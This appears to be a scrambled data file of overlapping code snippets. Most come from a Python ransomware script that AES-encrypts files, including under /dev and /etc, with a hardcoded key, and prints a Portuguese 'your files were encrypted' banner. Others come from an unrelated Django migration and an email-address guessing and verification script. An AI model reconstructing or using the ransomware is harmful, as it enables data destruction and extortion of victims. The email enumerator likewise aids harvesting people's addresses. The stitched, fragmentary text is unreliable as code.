"def main(): parser = get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt:",
"_ in range(100): pass if not decrypt: pass # apos a encriptação, voce",
"[default: no]', action='store_true') return parser def main(): parser = get_parser() args = vars(parser.parse_args())",
"1 caracter unicode # 256/8 = 32 bytes # ----------------- HARDCODED_KEY = 'hackware",
"Crypto.Util import Counter import argparse import os import Discovery import Crypter # -----------------",
"a encriptação, voce pode alterar o wallpaper # alterar icons, desativar regedit, admin,",
"crypt.encrypt else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev',",
"senha pode ter os seguintes tamanhos: # 128/192/256 bits - 8bite = 1byte",
"= args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS",
"if HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr)",
"Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn = crypt.encrypt else:",
"128/192/256 bits - 8bite = 1byte = 1 caracter unicode # 256/8 =",
"= 'hackware strike force strikes u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument(",
"----------------- # A senha pode ter os seguintes tamanhos: # 128/192/256 bits -",
"da memoria for _ in range(100): pass if not decrypt: pass # apos",
"HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE",
"= get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print(''' HACKWARE STRIKE",
"else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc']",
"pode alterar o wallpaper # alterar icons, desativar regedit, admin, bios, etc if",
"Discovery import Crypter # ----------------- # A senha pode ter os seguintes tamanhos:",
"32 bytes # ----------------- HARDCODED_KEY = 'hackware strike force strikes u! ' def",
"os arquivos [default: no]', action='store_true') return parser def main(): parser = get_parser() args",
"FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}'",
"'-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true') return parser def main(): parser",
"= os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc'] for currentDir in startDirs: for",
"'/dev', '/etc'] for currentDir in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) #",
"#!/usr/bin/python3.6 # -*- coding: utf-8 -*- from Crypto.Cipher import AES from Crypto.Util import",
"'''.format(HARDCODED_KEY)) key = input('Digite a senha: ') else: if HARDCODED_KEY: key = HARDCODED_KEY",
"key = input('Digite a senha: ') else: if HARDCODED_KEY: key = HARDCODED_KEY ctr",
"unicode # 256/8 = 32 bytes # ----------------- HARDCODED_KEY = 'hackware strike force",
"= [init_path, '/dev', '/etc'] for currentDir in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename,",
"SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha: ') else: if HARDCODED_KEY:",
"import AES from Crypto.Util import Counter import argparse import os import Discovery import",
"' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default:",
"parser = get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print(''' HACKWARE",
"ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key",
"args = vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------",
"if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS,",
"Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave de criptografia da memoria for _",
"not decrypt: cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files'))",
"= vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS",
"# ----------------- HARDCODED_KEY = 'hackware strike force strikes u! ' def get_parser(): parser",
"ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn =",
"----------------- HARDCODED_KEY = 'hackware strike force strikes u! ' def get_parser(): parser =",
"criptografia da memoria for _ in range(100): pass if not decrypt: pass #",
"force strikes u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta",
"import Discovery import Crypter # ----------------- # A senha pode ter os seguintes",
"= 32 bytes # ----------------- HARDCODED_KEY = 'hackware strike force strikes u! '",
"counter=ctr) if not decrypt: cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt init_path =",
"') else: if HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key,",
"= crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc'] for currentDir",
"Crypter # ----------------- # A senha pode ter os seguintes tamanhos: # 128/192/256",
"parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true') return",
"for currentDir in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a",
"parser def main(): parser = get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt'] if",
"crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn = crypt.encrypt else: cryptoFn",
"return parser def main(): parser = get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt']",
"# 256/8 = 32 bytes # ----------------- HARDCODED_KEY = 'hackware strike force strikes",
"-*- from Crypto.Cipher import AES from Crypto.Util import Counter import argparse import os",
"senha: ') else: if HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256) crypt =",
"'files')) startDirs = [init_path, '/dev', '/etc'] for currentDir in startDirs: for filename in",
"bits - 8bite = 1byte = 1 caracter unicode # 256/8 = 32",
"arquivos [default: no]', action='store_true') return parser def main(): parser = get_parser() args =",
"ter os seguintes tamanhos: # 128/192/256 bits - 8bite = 1byte = 1",
"A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha: ') else:",
"apos a encriptação, voce pode alterar o wallpaper # alterar icons, desativar regedit,",
"HARDCODED_KEY = 'hackware strike force strikes u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\")",
"Crypto.Cipher import AES from Crypto.Util import Counter import argparse import os import Discovery",
"= Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn = crypt.encrypt",
"help='decripta os arquivos [default: no]', action='store_true') return parser def main(): parser = get_parser()",
"HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn",
"seguintes tamanhos: # 128/192/256 bits - 8bite = 1byte = 1 caracter unicode",
"for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave de criptografia da",
"def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default: no]',",
"os seguintes tamanhos: # 128/192/256 bits - 8bite = 1byte = 1 caracter",
"chave de criptografia da memoria for _ in range(100): pass if not decrypt:",
"filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave de criptografia da memoria",
"strikes u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os",
"# alterar icons, desativar regedit, admin, bios, etc if __name__ == '__main__': main()",
"init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc'] for currentDir in startDirs:",
"# A senha pode ter os seguintes tamanhos: # 128/192/256 bits - 8bite",
"- 8bite = 1byte = 1 caracter unicode # 256/8 = 32 bytes",
"currentDir in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave",
"decrypt: pass # apos a encriptação, voce pode alterar o wallpaper # alterar",
"SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY))",
"cryptoFn) # limpa a chave de criptografia da memoria for _ in range(100):",
"cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc'] for",
"import os import Discovery import Crypter # ----------------- # A senha pode ter",
"= crypt.encrypt else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path,",
"memoria for _ in range(100): pass if not decrypt: pass # apos a",
"# ----------------- # A senha pode ter os seguintes tamanhos: # 128/192/256 bits",
"import Counter import argparse import os import Discovery import Crypter # ----------------- #",
"from Crypto.Cipher import AES from Crypto.Util import Counter import argparse import os import",
"pass # apos a encriptação, voce pode alterar o wallpaper # alterar icons,",
"coding: utf-8 -*- from Crypto.Cipher import AES from Crypto.Util import Counter import argparse",
"get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE",
"= HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt:",
"startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave de criptografia",
"in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave de criptografia da memoria for",
"o wallpaper # alterar icons, desativar regedit, admin, bios, etc if __name__ ==",
"AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt init_path",
"FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key =",
"'--decrypt', help='decripta os arquivos [default: no]', action='store_true') return parser def main(): parser =",
"import Crypter # ----------------- # A senha pode ter os seguintes tamanhos: #",
"no]', action='store_true') return parser def main(): parser = get_parser() args = vars(parser.parse_args()) decrypt",
"limpa a chave de criptografia da memoria for _ in range(100): pass if",
"bytes # ----------------- HARDCODED_KEY = 'hackware strike force strikes u! ' def get_parser():",
"args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA",
"# limpa a chave de criptografia da memoria for _ in range(100): pass",
"u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos",
"SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha: ') else: if",
"startDirs = [init_path, '/dev', '/etc'] for currentDir in startDirs: for filename in Discovery.discover(currentDir):",
"Crypter.change_files(filename, cryptoFn) # limpa a chave de criptografia da memoria for _ in",
"vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS",
"if not decrypt: cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(),",
"os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc'] for currentDir in startDirs: for filename",
"voce pode alterar o wallpaper # alterar icons, desativar regedit, admin, bios, etc",
"alterar o wallpaper # alterar icons, desativar regedit, admin, bios, etc if __name__",
"CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite",
"# apos a encriptação, voce pode alterar o wallpaper # alterar icons, desativar",
"if not decrypt: pass # apos a encriptação, voce pode alterar o wallpaper",
"os import Discovery import Crypter # ----------------- # A senha pode ter os",
"AES from Crypto.Util import Counter import argparse import os import Discovery import Crypter",
"-*- coding: utf-8 -*- from Crypto.Cipher import AES from Crypto.Util import Counter import",
"= 1 caracter unicode # 256/8 = 32 bytes # ----------------- HARDCODED_KEY =",
"'/etc'] for currentDir in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa",
"in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn) # limpa a chave de",
"main(): parser = get_parser() args = vars(parser.parse_args()) decrypt = args['decrypt'] if decrypt: print('''",
"de criptografia da memoria for _ in range(100): pass if not decrypt: pass",
"a chave de criptografia da memoria for _ in range(100): pass if not",
"# -*- coding: utf-8 -*- from Crypto.Cipher import AES from Crypto.Util import Counter",
"wallpaper # alterar icons, desativar regedit, admin, bios, etc if __name__ == '__main__':",
"256/8 = 32 bytes # ----------------- HARDCODED_KEY = 'hackware strike force strikes u!",
"else: if HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR,",
"------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha: ') else: if HARDCODED_KEY: key =",
"from Crypto.Util import Counter import argparse import os import Discovery import Crypter #",
"range(100): pass if not decrypt: pass # apos a encriptação, voce pode alterar",
"[init_path, '/dev', '/etc'] for currentDir in startDirs: for filename in Discovery.discover(currentDir): Crypter.change_files(filename, cryptoFn)",
"------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------",
"A senha pode ter os seguintes tamanhos: # 128/192/256 bits - 8bite =",
"decrypt = args['decrypt'] if decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM",
"encriptação, voce pode alterar o wallpaper # alterar icons, desativar regedit, admin, bios,",
"8bite = 1byte = 1 caracter unicode # 256/8 = 32 bytes #",
"in range(100): pass if not decrypt: pass # apos a encriptação, voce pode",
"get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true')",
"decrypt: cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs",
"'hackware strike force strikes u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d',",
"= AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn = crypt.encrypt else: cryptoFn =",
"not decrypt: pass # apos a encriptação, voce pode alterar o wallpaper #",
"DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha:",
"PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a"
] |
[
"import migrations, models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\",",
"\"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField(",
"verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE,",
"null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre Location\", \"db_table\": \"datacenters_locations\", },",
"fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\",",
"import taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations",
"django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ]",
"( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)),",
"= [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[",
"models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\",",
"db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre Location\", \"db_table\": \"datacenters_locations\",",
"# Generated by Django 2.2.19 on 2021-04-15 13:14 from django.db import migrations, models",
"\"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre Location\",",
"on 2021-04-15 13:14 from django.db import migrations, models import django.db.models.deletion import taggit.managers class",
"2.2.19 on 2021-04-15 13:14 from django.db import migrations, models import django.db.models.deletion import taggit.managers",
"(\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ),",
"( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre",
"models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\",",
"Generated by Django 2.2.19 on 2021-04-15 13:14 from django.db import migrations, models import",
"[ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ),",
"models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\":",
"2021-04-15 13:14 from django.db import migrations, models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration):",
"by Django 2.2.19 on 2021-04-15 13:14 from django.db import migrations, models import django.db.models.deletion",
"Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel(",
"), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ),",
"auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey(",
"taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations =",
"django.db import migrations, models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies = [",
"name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)),",
"\"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True,",
"serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True,",
"Django 2.2.19 on 2021-04-15 13:14 from django.db import migrations, models import django.db.models.deletion import",
"(\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\",",
"models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ],",
"<filename>apps/accounts/migrations/0015_use_dc_locations.py # Generated by Django 2.2.19 on 2021-04-15 13:14 from django.db import migrations,",
"primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\",",
"dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\",",
"= [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ),",
"migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\",",
"from django.db import migrations, models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies =",
"] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False,",
"), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\",",
"[ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ (",
"(\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True,",
"migrations, models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"),",
"import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"),",
"class Migration(migrations.Migration): dependencies = [ (\"taggit\", \"0003_taggeditem_add_unique_index\"), (\"accounts\", \"0014_auto_20210314_2305\"), ] operations = [",
"\"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\", ), ), (\"city\", models.CharField(max_length=255)), (\"country\", models.CharField(max_length=255)), (",
"13:14 from django.db import migrations, models import django.db.models.deletion import taggit.managers class Migration(migrations.Migration): dependencies",
"operations = [ migrations.CreateModel( name=\"DataCenterLocation\", fields=[ ( \"id\", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\",",
"(\"country\", models.CharField(max_length=255)), ( \"datacenter\", models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={",
"models.ForeignKey( db_column=\"id_dc\", null=True, on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre Location\", \"db_table\":",
"to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre Location\", \"db_table\": \"datacenters_locations\", }, ), ]",
"on_delete=django.db.models.deletion.CASCADE, to=\"accounts.Datacenter\", ), ), ], options={ \"verbose_name\": \"Datacentre Location\", \"db_table\": \"datacenters_locations\", }, ),"
] |
[
"Find the email address, given the below parameters # Permutates over the possible",
"= True) return try_addr else: print(COLOR_RED + \".\" + COLOR_RESET, end = '',",
"break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\" for domain, name_parts",
"correct_for_tld(domain): if domain == \"\": return domain domain_flag = False for tld in",
"[ (first, first[0]), (last, last[0]) ] if middle: elems.append((middle, middle[0])) email, email_list =",
"+ try_addr + \"`...\", end = '', flush = True) verif = verifier.verify(try_addr)",
"email_addr, super_verbose = False): req = self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\")",
"RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems to accept all email addresses.\") elif",
"'', flush = True) if verbose: print(\" \") return None # Sufficiently random",
"html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain))",
"c # Generate all P(n, r) permutations of r = size def generate(self,",
"user = template.format(f = f, l = l, m = m) if len(user)",
"then checks # each email. def find_email(first, middle, last, domain, args): if not",
"name_parts[2] else: first, last = name_parts; middle = None if domain == \"\":",
"'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47",
"value def verify(self, email_addr, super_verbose = False): req = self.create_request(email_addr) resp = request.urlopen(req)",
"parser.parse_args() loops = 1000 if args.batch else 1 input_list = [] for l",
"= '', flush = True) if verbose: print(\" \") return None # Sufficiently",
"last, middle, leng, args.verbose) if email: email_list.append(email) if not args.find_all: return email_list #",
"{ 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ],",
"len(perm) > 1 else None middle = perm[2] if len(perm) > 2 else",
"flush = True) return try_addr else: print(COLOR_RED + \".\" + COLOR_RESET, end =",
"'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN",
"each of elems elems = [ (first, first[0]), (last, last[0]) ] if middle:",
"super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res else True)",
"[ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [",
"'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING =",
"make_combs(self, size, l): if (size > l + 1): return if size ==",
"= EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return",
"elems # Make actual permutations of elems def make_perms(self, elems, r): if r",
"ValueError(\"Invalid domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)):",
"1): yield c for elem in self.elems[l]: for c in self.make_combs(size - 1,",
"== \"__main__\": if not check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity",
"size def generate(self, size): for comb in self.make_combs(size, len(self.elems) - 1): for perm",
"if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user =",
"= perm[0] last = perm[1] if len(perm) > 1 else None middle =",
"print() if len(email_list) > 0: print(\"Valid Emails: \", email_list) else: print(\"Not Found\") prev_domain",
"headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML,",
"Permutator: \"\"\" Generate all possible combination of two and three words to form",
"def make_combs(self, size, l): if (size > l + 1): return if size",
"in self.make_perms(comb, len(comb) - 1): yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED =",
"[] return if l == 0: for elem in self.elems[0]: yield [elem] return",
"print(COLOR_GREEN + \".\" + COLOR_RESET, end = '', flush = True) return try_addr",
"'', flush = True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" +",
"standard connection tester :) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url)",
"\"__main__\": if not check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\")",
"print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True # Returns a boolean value def",
"mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true', help = \"Find all possible addresses",
"in self.elems[l]: for c in self.make_combs(size - 1, l - 1): c.append(elem) yield",
"'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\"",
